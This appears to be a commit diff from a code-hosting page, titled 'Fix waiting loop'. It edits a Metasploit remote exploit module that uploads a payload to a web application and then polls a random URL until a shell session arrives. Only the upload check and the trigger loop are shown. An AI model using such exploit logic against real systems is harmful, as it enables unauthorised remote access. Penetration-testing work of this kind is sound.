Fix waiting loop
parent
645f239d94
commit
0ff33572a7
|
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
|
||||
print_status("#{peer} - Upload appears to have been successful")
|
||||
else
|
||||
print_error("#{peer} - Failed to upload, try again with a different path?")
|
||||
return false
|
||||
|
@ -105,10 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
# Failure. The request timed out or the server went away.
|
||||
return false if res.nil?
|
||||
# Success! Triggered the payload, should have a shell incoming
|
||||
return true if res.code == 200
|
||||
break if res.nil?
|
||||
# Failure. Unexpected answer
|
||||
break if res.code != 200
|
||||
# Unless session... keep looping
|
||||
return true if session_created?
|
||||
end
|
||||
|
||||
false
|
||||
|
|
Loading…
Reference in New Issue